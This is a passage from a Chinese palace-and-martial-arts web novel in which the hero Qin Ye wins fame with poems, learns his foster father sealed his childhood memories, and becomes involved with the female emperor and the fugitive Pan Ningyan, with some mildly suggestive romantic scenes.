“诸位，”秦烨的声音不疾不徐，“在下虽然年轻，但也略知一二。今日就献上一首《江湖谣》，还请各位指教。” 贾风眼中闪过一丝不屑：“哦？那我们可要好好听听了。” 秦烨整了整衣襟，目光如炬：“刀光剑影江湖路，血雨腥风几人知。” 这第一句一出，在场众人顿时一惊。 秦烨继续吟道：“今朝对酒论诗句，明日刀兵又相持。” 酒席上，众人的目光齐刷刷地落在秦烨身上。空气仿佛凝固了一般，连酒杯相碰的声响都消失了。 这首诗，让在座的人都惊呆了。 贾风眯起眼睛，手指无意识地摩挲着酒杯边缘。他原以为秦烨不过是个有些背景的年轻人，没想到竟有如此才华。那双历经沧桑的眼睛里闪过一丝难以掩饰的惊讶。 “好诗！”贾风举起酒杯，杯中酒液微微晃动，“小友，请！” 秦烨嘴角微扬，端起酒杯一饮而尽。酒液入喉，火辣辣的感觉让他精神一振。他的目光不着痕迹地扫过厅内众人，脑海中却在飞速思索着汴城地下势力的布局。 秦韶华坐在一旁，美眸中闪烁着异彩。她的手指轻轻绞着手帕，目光始终没有离开秦烨。从未见过如此风采的男子，诗才横溢，气度不凡。那份从容淡定中透露出的贵气，让她心中泛起涟漪。 “秦公子才华横溢，令人佩服。”兴武会的副会长拱手道，脸上堆满笑容，“若在朝堂之上，定是栋梁之才。” 酒过三巡，菜过五味。厅堂内的气氛渐渐热络起来。秦烨又是一首《醉乡词》，豪迈之气充满整个厅堂。他的声音清朗有力，字字珠玑，仿佛让人看到了大漠孤烟、长河落日的壮阔景象。 贾风听得如痴如醉，一双浑浊的眼睛竟泛起了泪光。他连连击掌：“妙哉！妙哉！来人，取笔墨来，将这首诗记下。” 酒意渐浓，秦烨感觉到一阵眩晕。他能清晰地感觉到体内的真气在翻涌，那是一种奇异的感觉，就像有无数细小的电流在血管中流窜。 “小友，”贾风突然放下酒杯，神色郑重，“我观你气度不凡，不如你我结为异姓兄弟如何？” 此言一出，满座皆惊。酒杯相碰的声音戛然而止，所有人的目光都集中在秦烨身上。 能与墨风帮帮主结拜，这是何等荣耀？众人看向秦烨的目光中充满羡慕和嫉妒。有人暗自咬牙，有人面露惊讶，更有人眼中闪过算计的光芒。 秦烨却已醉意朦胧，身子一歪，直接倒在了桌上。他的脸颊泛着不正常的潮红，呼吸也变得急促起来。 “哈哈哈！”众人大笑，气氛顿时轻松了许多。 沈化林和韩九对视一眼，赶紧上前搀扶：“公子醉了，我们先告辞。”他们的眼中闪过一丝担忧，显然察觉到了秦烨的异常。 “无妨，我让人备好马车送你们。”贾风挥手道，眼中闪过一丝遗憾。 马车上，秦烨昏昏沉沉。突然，一阵剧痛从骨髓深处传来，仿佛有人在用钝器敲打他的每一根骨头。 “啊！”他猛地坐起，额头上冷汗直冒。 韩九和沈化林掀开车帘，只见秦烨周身剑气缭绕，气势惊人。那些剑气如同实质，在车厢内游走，发出细微的嗡鸣声。 一幕幕画面在秦烨脑海中闪过：打铁声、婴儿啼哭声，还有一个女人哀求的声音：“烨儿快要承受不住了……”这些记忆碎片如同利刃，在他的脑海中翻搅。 汗水浸透了他的衣衫，那些模糊的画面令他眉头紧皱。他隐约觉得很熟悉，却又抓不住那些转瞬即逝的片段。 “刚才……我做了什么？”秦烨揉着太阳穴问道，声音有些嘶哑。 “公子醉后吟诗数首，贾帮主想与您结拜，但您已经醉倒了。”沈化林答道，递上一杯温水。 秦烨点点头，接过水杯：“回宫吧。”他的眼神有些恍惚，似乎还沉浸在那些零碎的记忆中。 第一百七十章 尚书之位 马车缓缓驶向皇宫，车轮碾过石板路发出规律的声响。夜色渐深，街道上行人寥寥。偶尔有更夫打更的声音传来，显得格外清晰。 与此同时，长春宫内。 怀孕后的司马玉华性情大变，整日忙碌不停。她的脸上带着孕期特有的红润，眼中却透着一丝疲惫。 “娘娘，这些事让奴婢们来做就好。”雨竹担忧地说，试图接过司马玉华手中的物件。 “无妨，”司马玉华轻笑，眼角的笑纹让她看起来格外温柔，“秦公公说过，怀孕时要多活动，对胎儿有好处。” 她一边说着，一边整理后殿的杂物。 雨竹见劝不住，只好帮忙，尽量接过重物。她的眼中满是关切，生怕娘娘太过劳累。 突然，司马玉华的动作顿住了。她发现一个尘封已久的木匣，上面积了厚厚的灰尘。打开后，里面是一本蓝色封皮的书，书页已经泛黄。 “这似乎是韩松留给秦烨的……”她喃喃自语，手指轻轻抚过书页。 夜色渐深，皇宫内外一片寂静。偶尔有巡逻的侍卫走过，脚步声在空旷的宫道上回荡。 秦烨回到承明殿偏殿时已是夜深，月光透过窗棂洒落在地面上，在青石板上勾勒出斑驳的光影。他径直走到床边，连朝服都来不及脱就倒头睡去。这一天发生的事情太多，让他身心俱疲。 案几上的烛火摇曳，将他的影子投射在墙上，显得格外孤寂。 上官瑾站在床边，看着秦烨略显憔悴的睡颜。她从未见过这个男人如此疲惫的模样，平日里总是意气风发的他，此刻竟显出几分脆弱。她伸手想为他盖上锦被，却又在半空中停住。 “陛下还在这里？”秦烨突然开口，声音里带着几分疲惫。 上官瑾收回手，淡淡道：“朕只是来看看你。” 汴城此刻却是一片沸腾。茶馆酒肆中，文人雅士们争相谈论着今日帮会大会上的盛事。 “你们听说了吗？虎卫大人今日在帮会大会上一展才华，那几首诗作，简直惊为天人！”一位身着青衫的文士激动地拍着桌子。 “可不是嘛，"大江东去，浪淘尽，千古风流人物"，这气魄，这意境，堪称绝唱啊！” “我特意抄了一份，准备带回家细细品味。这等佳作，百年难得一见。” 茶馆掌柜笑呵呵地端着茶壶给客人续水：“几位可是有口福了，这位虎卫大人的诗作，现在可是整个汴城最热门的话题。” 不远处的酒楼里，几位锦衣公子正举杯畅饮。 “没想到虎卫大人不仅武功高强，文采竟也如此出众。”一位公子感叹道。 “是啊，这样的人物，难怪能得到陛下的重用。” “听说他还帮陛下处理了不少朝政，这等文武全才，当真令人佩服。” 大街小巷都在谈论着秦烨的诗作，如同一阵竹月，在汴城内掀起了一场文学风暴。不少文人雅士纷纷聚集，有人甚至开始组织诗会，想要与这位神秘的虎卫大人一较高下。 秦烨其实早已酒醒，只是闭目养神，思考着接下来的计划。帮会林立的汴城，想要将其统一谈何容易？朝堂上那些大臣，又该如何笼络？最重要的是，少林寺中的天地大挪移心法…… “在想什么？”上官瑾的声音打断了他的思绪。 秦烨睁开眼，看着眼前这位绝色女帝。月光下，她的容颜愈发动人，眼中似有星辰闪烁。 “一些琐事罢了。”他轻声道。 “说来听听。”上官瑾在床边坐下，裙摆轻轻摆动。 “陛下还是不要问了，这些事我自会处理。”秦烨避开她探究的目光。 上官瑾轻哼一声，眉头微蹙：“你这人，总是把事情都扛在自己肩上。” “天生的。”秦烨笑了笑，目光在上官瑾脸上流连，“今日的陛下，格外动人。” “少来这套。”上官瑾别过脸去，但耳根已经微微泛红，“今日你在帮会大会上的表现，朕都听说了。那几首诗作，确实令人惊艳。” “陛下消息倒是灵通。” “自然，这汴城内发生的事，就没有能瞒过朕的。”上官瑾的语气中带着几分得意。 秦烨突然坐起身，凑近上官瑾：“不如，我为陛下也作首诗如何？” “不必了。”上官瑾想要起身，却被秦烨拉住了手。 “若是能打动陛下， 必须得答应我个条件。”他的声音低沉而富有磁性。 上官瑾俏脸微红：“休要胡说。” 秦烨却已经开口吟诵：“人生若只如初见，何事秋风悲画扇……” 诗声落下，上官瑾怔在原地。她从未想过，这个男人竟能写出如此动人的诗句。月光下，她的眼中闪过一丝异样的光彩。 秦烨趁机揽住她的腰：“良宵苦短……” “放肆！”上官瑾打掉他的手，却是面带羞色。她站起身，整理了一下衣襟，“说正事。朝堂上两个尚书之位空缺已久，该选人了。” “确实该选了。”秦烨点头，神色也变得严肃起来。 与此同时，汴城之外的荒野上，一道倩影在月色下疾驰。潘凝烟，这位缥缈宫的仙姬，此刻正在逃命。身后追兵紧随，都是缥缈宫派出的高手。 “仙姬，你逃不掉的！”一个阴冷的声音在夜风中传来。 潘凝烟咬紧牙关，加快了速度。她的衣裙已经被树枝划破多处，但她顾不上这些。月光下，她的脸上满是决绝之色。 “教主已经下令，要把你抓回去。你还是乖乖束手就擒吧！”又一个声音响起。 “做梦！”潘凝烟头也不回地喊道，声音中带着几分凄厉。 江湖上对此事议论纷纷。有说是缥缈宫主觊觎她的美色，有说她已心有所属，想要脱离缥缈宫。但不管真相如何，这位美艳的仙姬，此刻正在为自由拼命。 追兵的脚步声越来越近，潘凝烟的呼吸已经开始急促。她的眼中闪烁着坚定的光芒，似乎已经下定决心，就算付出生命的代价，也要摆脱缥缈宫的控制。 “砰！”一声巨响，一根暗器擦着她的脸颊飞过，在树干上留下一个深深的痕迹。 潘凝烟不由得打了个寒颤，但脚步丝毫不停。她知道，一旦被抓住，等待她的将是比死亡更可怕的命运。 夜色渐深，远处传来狼嚎声。潘凝烟的身影在月光下显得愈发单薄，但她的眼中却闪烁着希望的光芒。她知道，只要能逃到汴城，就有机会获得新生。 第一百七十一章 封锁回忆 与此同时，秦烨独坐在案前，手中捧着雨竹送来的那本药书。昏黄的灯光下，书页泛黄的边缘透着岁月的沧桑。 这是义父韩松留下的遗物，虽只是本普通医书，但对秦烨而言却弥足珍贵。每一页都浸染着义父的心血，记载着他们相处的点点滴滴。 “这么晚了还在看书？”上官瑾轻步走来，玉手搭在他的肩上。 秦烨没有回答，目光依旧专注地在字里行间游走。突然，一丝异样引起了他的注意。他的手指微微一顿，眉头不自觉地皱起。 医书尾部的夹层中，密密麻麻写满了小字，那是义父韩松的笔迹。字迹有些潦草，似乎是在极度匆忙中所写。 “烨儿，当你看到这些文字时，为父想必已经不在人世了。” 这行字映入眼帘的瞬间，秦烨的手微微颤抖，眼前浮现出义父慈祥的面容。记忆中，义父总是带着温和的笑容，即便在最艰难的时候。 “怎么了？”上官瑾察觉到他的异样，柔声问道。 秦烨摇摇头，继续往下读去：“你与常人不同。大多数人都记不清三岁以前的事，这很正常。但你之所以想不起来，是因为那些记忆被封印了。而封锁你回忆的人，正是我。” 这段话如同一记重锤，狠狠击在秦烨心头。他猛地坐直了身子，指节因用力而发白。 为什么义父要封印自己的记忆？这其中究竟有什么隐情？无数疑问在脑海中翻涌。 “你被人当做剑来培养，体内蕴含着一股惊人的剑气。那时你年幼，无法承受这股力量，我才不得不用针灸之法将其封印。” “原本我不想告诉你这些真相，只想让你在宫中安稳度日。但事与愿违……” 秦烨的脑海中突然闪过在云霄观遇见玉华宗主时的情形。当时那意味深长的眼神，那欲言又止的提醒，此刻看来竟是早有预见。 “我们始终在他们的监视之下，你一直被当做剑使来培养。这些记忆不能再继续封印下去了，是时候让你知道真相了。” 剑使？这个词在秦烨心中激起阵阵涟漪。脑海中隐约浮现出打铁的声响，那是在锻造一把剑，一把用他来铸就的剑。记忆碎片如同破碎的镜面，折射出模糊不清的画面。 “烨儿要记住，若将来踏足江湖，一定要提防青霄峰的人。这是为父最重要的嘱咐。” “我给你留下了一个药方，服用后可以解开记忆的封印。” “珍重，我的孩子。为父已时日无多，不能再守护在你身边了……” 看完义父的遗言，秦烨只觉得心头沉重。那些零散的记忆碎片在脑海中拼凑，隐约勾勒出一个惊人的真相。 “到底出什么事了？”上官瑾见他神色异常，不由得加重了语气。 秦烨正要开口，殿外突然传来太监尖细的声音：“陛下，该翻牌子了。” 上官瑾眉头一皱，正欲呵斥，秦烨却抬手制止：“罢了，先侍寝吧。” “你没事吧？”上官瑾依然一脸担忧，纤纤玉手轻抚他的面庞。 “无妨。”秦烨挤出一丝笑容，但眼底的苦涩却怎么也掩饰不住。 夜深人静，宫殿内春意正浓。帐幔轻摇，暧昧的气息在空气中弥漫。 今夜侍寝的是陈雅韵，她承受着秦烨狂风骤雨般的索取。他的每一个动作都带着几分发泄的意味，仿佛要将心中所有的郁结都宣泄出来。 “陛下……”陈雅韵轻唤，声音中带着几分担忧。 秦烨没有回应，只是更加用力地索取着。他需要这样的发泄，需要暂时忘记那些扰乱心神的真相。 远处的上官瑾默默注视着这一切，心中泛起阵阵酸楚。她能看出秦烨遇到了麻烦，却无能为力，这种无助感让她倍感煎熬。 床榻之上，秦烨愈发狂野，仿佛要将所有的烦闷都发泄出来。陈雅韵轻咬红唇，承受着这份激烈，却也能体会到他内心的痛苦。 一场欢爱过后，陈雅韵已经领命告退，秦烨躺在床上，望着帐顶发呆。义父的话不断在脑海中回响，那些被封印的记忆像是即将破茧的蝶，在他心底蠢蠢欲动。 “要不要说说看？”上官 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忽然，一阵风吹过，带来一丝若有若无的香气。这香气有些熟悉，让秦烨不由想起那个雨夜。 客栈中的一夜缠绵，那个神秘而妖娆的女子，以及那杯下了**散的酒…… “陛下？”侍卫的声音将他拉回现实。 秦烨摇摇头，将那些纷乱的思绪压下。现在不是想这些的时候，御医署的事情才是当务之急。 御医署重建后焕然一新，可那些陈年旧事却不是重建就能抹去的。上任院长勾结外敌，意图毒害皇室，这件事让秦烨至今心有余悸。 “孔太医。”他叫住一个正在忙碌的老者。 “参见秦公公。”孔太医连忙跪下。 “起来吧。”秦烨扶起他，“最近御医署可有什么异常？” “回陛下，一切都很正常。”孔太医擦了擦额头的汗，“只是……院长一职空缺，有些事情难免不够妥当。” 秦烨点点头，这正是他最头疼的问题。 第一百七十二章 逃脱寻人 就在此时，汴城之外却已是一片尘土飞扬。 一道倩影策马疾驰，身后紧追着五名白衣老者。正是从缥缈宫脱逃的潘凝烟。她的面纱被风吹起一角，露出绝美的容颜。 “仙姬，你真以为能逃出我们的手掌心吗？”一名老者冷笑道。 潘凝烟咬着牙不答话。两天两夜的追逃，她的体力已经到了极限。马背上的伤口渗出的血迹已经染红了衣衫，可她不敢停下。 “为了一个男人背叛教主，值得吗？”另一名老者讥讽道。 这句话让潘凝烟心头一颤。值得吗？她自己也说不清。只是那一夜，那个男人眼中的温柔和克制，让她第一次感受到了什么叫心动。 前方，巍峨的汴城城墙已经映入眼帘。 五名老者见状，脚步不由一缓。有人低声道：“这丫头，竟然选择了汴城作为目的地。” “为了那个人吗？”另一人冷哼一声，“真是不知死活。” 城门处，守军严阵以待。一道倩影疾驰而过，所有人都被这绝色所惊艳。 “好一个绝色美人！”有士兵忍不住赞叹。 五名老者止步于城门外，遥望着潘凝烟的背影渐行渐远。 “到此为止吧。”为首老者沉声道。 “可是教主的命令……” “就说仙姬已死，尸骨无存。”老者淡淡道，“天知地知，你知我知。” 其他人闻言，会意一笑。他们都明白，一旦踏入汴城，就不是他们这些江湖人能够随意妄为的了。 城中，潘凝烟牵马缓行，打量着这座天下第一城。繁华的街市，熙攘的人群，处处透着勃勃生机。 可她的心思却全在一个人身上。 秦烨。 那个在客栈一夜，让她心动的男人。那个即便中了**散，也保持着最后理智的男人。 想到那晚的缠绵，潘凝烟面纱下的脸微微发烫。正是那一夜的互诉衷肠，让她下定决心脱离缥缈宫。 可是，偌大的汴城，要到哪里去寻他？ 潘凝烟停下脚步，望着熙熙攘攘的街道，一时有些茫然。她不知道的是，此刻的秦烨正在皇宫中为御医署的事情发愁。 街边小贩的吆喝声此起彼伏：“新鲜的荔枝，刚从岭南运来的荔枝！” “糖葫芦，冰糖葫芦！” “包子，刚出笼的包子！” 潘凝烟漫无目的地走着，忽然听到有人在谈论：“听说了吗？御医署要选新院长了。” “是啊，上一任院长可是闹出大事了。” “这次陛下肯定会慎重选择。” 潘凝烟脚步一顿。御医署？她眼中闪过一丝异色。 作为缥缈宫仙姬，她精通医术和毒术。或许，这就是一个机会？ 此时的秦烨正在书房里批阅文件，窗外的蝉鸣声不绝于耳，夏日的暑气透过窗棂丝丝缕缕地渗透进来。他抬手擦了擦额头的汗珠，继续专注于手中的公文。 忽然，外面传来一阵嘈杂声，打破了书房内的宁静。脚步声由远及近，伴随着窸窸窣窣的议论声。 “大人！”一名虎卫成员推门而入，脸上带着几分无奈，“外面又来了好多姑娘。” 秦烨放下手中的毛笔，太阳穴突突直跳。这些日子以来，因为那几首诗的缘故，让他在汴城出了不小的名气。现在每天都有不少闺秀小姐前来拜访，搞得他连安静看书的时间都没有了。 “继续关着门，就说我不在。”秦烨揉了揉眉心，语气中带着些许疲惫。 那名成员踌躇了一下，欲言又止：“可是……她们说要在外面一直等着，直到见到大人为止。而且……” “而且什么？” “有几位小姐的身份似乎不一般，是朝中重臣的女儿。” 秦烨无奈地叹了口气，这些大家闺秀还真是执着。他站起身来，走到窗边，掀开帘子往外看去。只见虎卫大门外围着一群衣着华贵的年轻女子，有的手持团扇轻摇，有的低声细语，俨然一副不见到人不罢休的架势。 就在这时，秦韶华和商媛走了进来，手里还拿着一叠信件。 “瞧瞧，这都是今天收到的信件。”商媛晃了晃手中的信件，眼神不悦，“这些小姐们还真是……热情啊。” 秦韶华将手中的信件放在桌上，语气中带着几分醋意：“这些姑娘们也太大胆了，竟然直接写情诗过来。秦烨，你得想个办法才是。” 秦烨看着两人吃醋的模样，不禁莞尔：“不过是几首诗罢了，何至于此。” “几首诗？”商媛冷哼一声，纤细的手指点了点桌上的信件，“你那几首诗可是传遍了整个汴城，现在谁不知道虎卫有 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议论声此起彼伏，但潘凝烟丝毫不以为意。她缓步走到大门前，抬手敲响了门环。清脆的敲门声在院中回荡。 “砰砰砰！” 书房内，秦烨听到敲门声，眉头紧皱。他没想到潘凝烟会找到这里来。 “怎么了？”秦韶华注意到他的表情变化，“认识那个女子？” 秦烨没有立即回答，只是凝视着窗外的身影。那天在诗会上的一幕幕又浮现在脑海中。 “一面之缘罢了。”他最终说道。 商媛却不依不饶：“真的只是一面之缘？看你的表情，似乎不太简单啊。” 就在这时，外面又传来一阵急促的敲门声。潘凝烟站在门前，神色依旧从容。她知道秦烨一定在里面，也知道他一定能听到。 书房内的气氛有些凝重。秦韶华和商媛都察觉到了秦烨的异样，但他始终不愿多说。 “要不要见她？”秦韶华试探着问道。 秦烨摇摇头：“现在见她不合适。” “为什么？”商媛追问，眼中闪过一丝狐疑，“该不会真的和她有什么关系吧？” 秦烨没有解释，只是说道：“先让她等着吧。” 第一百七十三章 手下留情 就在这时，一名虎卫成员匆匆进来：“大人，外面那位姑娘说，如果您不愿见她，她就在门外一直等着。” 秦烨眉头皱得更紧了。他知道潘凝烟的性格，说到做到。 “你这人真是……”秦韶华有些不满，“外面那么多人等着，总得给个说法。这样下去，对虎卫的名声也不好。” 秦烨沉吟片刻：“让人去通知她们，就说我近日要闭关修炼，暂时不见外客。” “你觉得她们会信吗？”商媛撇撇嘴，“特别是那个穿青色裙子的女子，看起来不像是那么容易打发的。” 正说着，外面又传来一阵骚动。只见潘凝烟从怀中掏出一封信，轻轻塞进了门缝。做完这个动作，她转身离开了，步伐从容，背影潇洒。 其他闺秀见状，纷纷议论起来。 “就这么走了？” “装模作样。” “明天肯定还会来。” 不一会儿，那封信就被送到了秦烨手中。他打开一看，脸色顿时变得复杂起来。 “怎么了？”商媛好奇地凑过来。 秦烨将信收起：“没什么。” 秦韶华和商媛对视一眼，都从对方眼中看到了担忧。她们不知道那个神秘女子是谁，但直觉告诉她们，这个女人恐怕不简单。 “秦烨，你到底在瞒着我们什么？”秦韶华忍不住问道。 秦烨走到窗边，看着潘凝烟离去的方向，陷入沉思。那封信中的内容，让他不得不重新考虑很多事情。 “这件事说来话长。”他最终说道，“给我些时间，我会处理好的。” 商媛不满地哼了一声：“又是这样，每次遇到事情就说要自己处理。我们难道就这么靠不住吗？” 秦烨转过身，看着两人关切的眼神，心中一暖：“不是靠不住，而是有些事情，还不到说明的时候。” “那你总得告诉我们，那个女子是谁吧？”秦韶华追问道。 秦烨摇摇头：“现在还不能说。” 就在这时，外面又传来一阵骚动。原来是有几个小姐看到潘凝烟离开，也纷纷效仿，在门缝里塞入书信。 “这可怎么办？”商媛看着地上越堆越多的信件，“总不能一直这样下去吧？” 秦烨走到桌前，提笔写了几个字：“去把这个贴在门外。” 虎卫成员接过纸条一看，上面写着：“近日闭关，谢绝会客。” “你觉得这样就能解决问题？”秦韶华问道。 秦烨放下笔：“至少能消停几天。” 但他心里清楚，这只是权宜之计。潘凝烟的出现，让事情变得更加复杂了。那封信中的内容，还有诗会上发生的事，都需要他好好思考。 “对了，”商媛突然想起什么，“明天不是要去参加宫中的赏花宴吗？到时候这些小姐们肯定都会去。” 秦烨眉头一皱：“我会推掉。” “不行！”秦韶华和商媛异口同声道。 “这是皇上亲自下的旨意，你不能不去。”秦韶华说道。 秦烨揉了揉太阳穴，他知道秦韶华说得对。但想到明天可能会遇到的场面，他就觉得头疼。 “那就走一步看一步吧。”他最终说道。 刚要退下，外面又传来一阵骚动。只听“砰”的一声响，一道倩影轻盈一跃，越过高墙，落入院中。她的动作优雅从容，却又带着几分仓促。 “什么人？”守卫们立即围了上去，刀剑出鞘的声音在院中此起彼伏。 秦烨眉头微皱，抬眼望去，竟是许久未见的潘凝烟。她身着一袭淡青色长裙，此刻已被鲜血染红了一片。苍白的脸上还带着几分倔强，但眼中的疲惫却怎么也掩饰不住。 “放下武器。”秦烨沉声道，快步走下台阶。 守卫们面面相觑，但还是依令退开。秦烨来到潘凝烟面前，仔细打量着她的伤势。 “潘姑娘，你怎么来了？” 潘凝烟勉强扯出一抹笑容，嘴唇微微颤抖：“我……”话未说完，身形突然一晃。 秦烨眼疾手快，一把扶住她摇摇欲坠的身子。入手一片冰凉，她的体温明显低于常人。 “你受伤了？”秦烨的声音中带着几分焦急。 “没什么大碍。”潘凝烟强撑着说道，但脸色却愈发苍白。 秦烨搭上她的脉搏，眉头顿时紧锁。内息紊乱，经脉受损，显然是遭遇了强敌。而且看这伤势，对方的实力绝对不容小觑。 “是缥缈宫的人追杀你？” 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褪去外衣，那些触目惊心的伤痕暴露在空气中。有的已经结痂，有的还在渗着血丝。秦烨的手不由得一顿，眉头紧锁。 “这些伤……”他的声音有些沙哑。 潘凝烟轻轻摇头，眼中闪过一丝黯然：“都是些皮外伤，不碍事的。” 秦烨没有说话，专注地为她上药。每一道伤口都被他仔细处理，动作轻柔得如同对待珍宝。药膏的清凉触感缓解了些许疼痛，潘凝烟紧绷的身子渐渐放松下来。 “你的医术很好。”她轻声说道。 “江湖中人，多少都会些医术。”秦烨淡淡回应，“不过是为了活命罢了。” 潘凝烟注视着他认真的侧脸，心中泛起异样的感觉。那些贪恋她美色的男人，何曾这般细心照顾过她？ “秦烨……”她轻唤一声。 “嗯？” “你知道吗，我从未让人这样照顾过。” 秦烨手上的动作一顿：“以后有的是机会。” 这句话让潘凝烟心头一暖。她凝视着秦烨，眼神迷离：“抱抱我好不好？” 第一百七十四章 值得托付 秦烨愣了一下，随即将潘凝烟轻轻揽入怀中。潘凝烟顺势依偎在他胸前，纤纤玉指在他胸口画着圈。这般撩人的姿态，任何男人怕是都把持不住。 “你这是在勾引我？”秦烨笑道。 “你说呢？”潘凝烟抬眸看他，眼中满是魅惑。 秦烨深吸一口气：“你现在有伤在身，不适合剧烈运动。” “我没事的。”潘凝烟凑近他耳边，吐气如兰，“一点小伤而已。” 秦烨却坚决地摇头：“等你伤好了再说。” 听到这话，潘凝烟眼中浮现异样的光彩。她轻笑一声：“你果然和其他人不一样。” “哦？” “那天在客栈，我们都中了**散，你却能保持理智。今天又这样为我着想……”潘凝烟看着他，“你知道吗，这让我更加确定了一件事。” “什么事？” “你是值得我托付终身的人。” 秦烨不由失笑：“这评价可真高。” “秦烨……”潘凝烟忽然问道，“我是你的第几个女人？” 这个问题让秦烨一时语塞。房间里的气氛突然变得有些凝重。 见他这般反应，潘凝烟心中了然。像秦烨这样的男人，身边自然不会缺女人。今日见到的秦韶华和商媛，想必也都与他有着不一般的关系。 但这又如何？ 她对自己的魅力有着绝对的自信。更何况，她早已在不知不觉中沦陷。 不等秦烨回答，潘凝烟已经吻上了他的唇。一个缠绵的深吻，彻底点燃了秦烨压抑已久的**。 他也是血气方刚的男人，面对如此妖媚的尤物，又怎能保持淡定？ 很快，两人便纠缠在了一处。 “我会轻一点的。”秦烨低声道。 “不用。”潘凝烟媚眼如丝，“我可是修炼过合欢功的。” 这一夜，春色无边。 夜色深沉，秦烨离开潘凝烟的房间时，脚步有些虚浮。他扶着冰冷的廊柱，任由夜风吹拂着汗湿的衣衫，目光望向远处灯火阑珊的宫殿。 “这缥缈宫的采阳补阴之术，当真是厉害。”他低声喃喃，揉了揉酸痛的腰。 原本身受重伤的潘凝烟，在云雨之后竟恢复如初。想到方才那令人面红耳赤的场景，秦烨不禁摇头苦笑。那女子的手段，确实让他大开眼界。 廊下响起脚步声，几名巡逻的侍卫举着灯笼走来。 “参见秦大人。”为首的侍卫恭敬行礼。 秦烨摆摆手，示意他们继续巡逻。待侍卫走远，他才扶着廊柱缓缓前行。 月色如水，洒落在青石板地上，宫中寂静无声，只有偶尔传来的更夫梆子声，打破这份宁静。 推开寝殿的大门，秦烨轻手轻脚地走了进去。月光透过窗棂洒落在床榻上，上官瑾正在沉睡。 她眉头紧皱，貌似在经历噩梦。睡袍半敞，露出一截雪白的颈项。 “不要……不要伤害他……”上官瑾在梦中呓语，声音带着颤抖。 秦烨犹豫片刻，最终还是走到床边坐下。他伸手想要抚平她紧蹙的眉头，却在半空中停住。 就在这时，上官瑾猛地睁开眼睛，大口喘息。她的额头上布满了细密的汗珠，眼中还带着惊惶未散的神色。 “秦烨！”她下意识地喊出这个名字，声音里带着几分慌乱。 “我在。”秦烨轻声回应。 听到熟悉的声音，上官瑾愣了一下。待看清是秦烨后，紧绷的身体才渐渐放松下来。她深吸一口气，努力平复着急促的呼吸。 “你怎么这么晚才回来？”她问道，语气中带着一丝不自然的关切。 秦烨笑了笑：“处理了些事情。” “做噩梦了？”他转而问道。 上官瑾点点头，却没有说梦到了什么。她望着秦烨的脸，月光下，那张俊朗的面容显得格外柔和。 “今晚……留下来陪我吧。”她轻声说，语气中带着一丝不易察觉的祈求。 这句话让秦烨有些意外。平日里高高在上的女帝，此刻竟显得如此脆弱。他看着上官瑾微微发红的眼眶，心中一软。 “好。” 简单的一个字，却让上官瑾眼中闪过一丝欣喜。她往里挪了挪，给秦烨腾出位置。 躺在床上，秦烨很快就睡着了。今晚和潘凝烟的缠绵确实让他疲惫不堪。 上官瑾却睡不着，她侧身看着秦烨的睡颜。月光下，这个男人的轮廓显得格外分明。她忍不住伸手，轻轻描摹着他的眉眼。 “真 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上官瑾白了他一眼：“还不是因为你。” “我？”秦烨一脸无辜。 “要不是你这么晚回来，我也不会做噩梦。”上官瑾说着，自己都觉得这个理由有些牵强。 秦烨忍不住笑了：“原来是我的错。” “你……！”上官瑾还想说什么，却被外面传来的脚步声打断。 “陛下，该起身了。”是贴身宫女的声音。 上官瑾立刻恢复了平日里的威严：“知道了。” 秦烨识趣地起身，准备离开。走到门口时，他突然想起什么，转身道：“陛下，今日早朝，臣就不参加了。” 上官瑾皱眉：“为何？” “臣身体有些不适。”秦烨笑着说，“还请陛下恩准。” 上官瑾看着他略显疲惫的面容，想起昨晚的事，脸上飞快闪过一丝红晕：“准了。” “多谢陛下。”秦烨转身要走。 “等等。”上官瑾叫住他。 “怎么了？” “今晚……还来吗？”她问得很轻，几乎听不见。 秦烨笑着点头：“遵命，陛下。” 第一百七十五章 陛下授意 看着秦烨离开的背影，上官瑾的嘴角不自觉地扬起一抹笑意。她走到窗前，看着院中盛开的海棠，心中涌起一丝甜蜜。 这个男人，不知不觉间已经在她心里占据了重要的位置。只是这份感情，她还不愿意承认罢了。 “陛下，该梳妆了。”宫女的声音从外面传来。 上官瑾收敛了脸上的笑意，恢复了往日的威严：“进来吧。” 另一边，秦烨回到自己的院子，刚躺下没多久，就听到外面传来脚步声。 “秦大人，潘姑娘来访。”下人在门外禀报。 秦烨揉了揉太阳穴：“让她进来吧。” 潘凝烟款款走进来，一袭红衣，妖娆动人。她看着躺在床上的秦烨，眼中闪过一丝笑意：“怎么，昨晚累着了？” 秦烨苦笑：“潘姑娘的功力，在下实在是承受不起。” “这才哪到哪。”潘凝烟走到床边坐下，纤纤玉手抚上秦烨的胸膛，“要不要我教你几招？” 秦烨连忙抓住她的手：“潘姑娘，适可而止。” 潘凝烟轻笑一声：“怎么，怕那位知道？” 秦烨没有说话，只是看着她。 潘凝烟收回手，站起身来：“放心，我不会说出去的。不过……”她转身看向秦烨，“你最好小心一点，那位的心思，可不是那么好猜的。” 说完，她转身离去，只留下一阵香风在房中飘荡。 秦烨望着房顶，长长叹了口气。他知道，自己已经陷入了一个复杂的局面。但现在，他只想好好睡一觉。 与此同时，在遥远的岭南大山深处。 密林中传来窸窸窣窣的声响，上官煜正独自穿行在山林间。枯枝在他脚下发出清脆的断裂声，远处不时传来野兽的嘶吼。如今的他已是过街老鼠，人人喊打。想去巫疆，却被镇守巫域的大将军陈阳正拦住去路。想从这溜走，又有无数江湖人士追杀。 树影婆娑间，上官煜的身影显得格外孤寂。昔日威名扫地，让他心中怒火中烧。但随着时间流逝，他反倒渐渐释然。脚下踩着的，都是来找他茬的江湖人的终局。这些人的生命与修为，都被他用噬月大功吸收殆尽。 一阵山风吹过，卷起地上的落叶。上官煜站在山崖边，俯视着脚下的深谷。撕去伪装后的他，变得肆无忌惮。他开始大肆吸收江湖中人的功力，实力突飞猛进。每一个来追杀他的人，都成了他变强的踏脚石。 汴城方向，秦烨虽不知上官煜具体打算，但也感到危机渐近，必须未雨绸缪。六部衙门前，人来人往，官员们进进出出，衙役们来回奔走。 钱有德快步迎了上来，脸上带着谄媚的笑容：“秦大人，您总算来了。”如今的他已是工部侍郎，暂理工部事务。从一个主事直接升到尚书太快，所以先任侍郎。不过对此他已经相当满意。 周围的官员纷纷侧目。虽然侍郎位居三品，比秦烨高了不止一级，但钱有德对秦烨如此恭敬，让人不禁猜测秦烨的真实地位。有人低声议论，有人暗自揣测，更有人露出不屑的神色。 “各部堂官都到了吗？”秦烨神色从容，仿佛没有注意到周围人的目光。 “都已在此等候。”钱有德做了个请的手势，“秦大人这边请。” 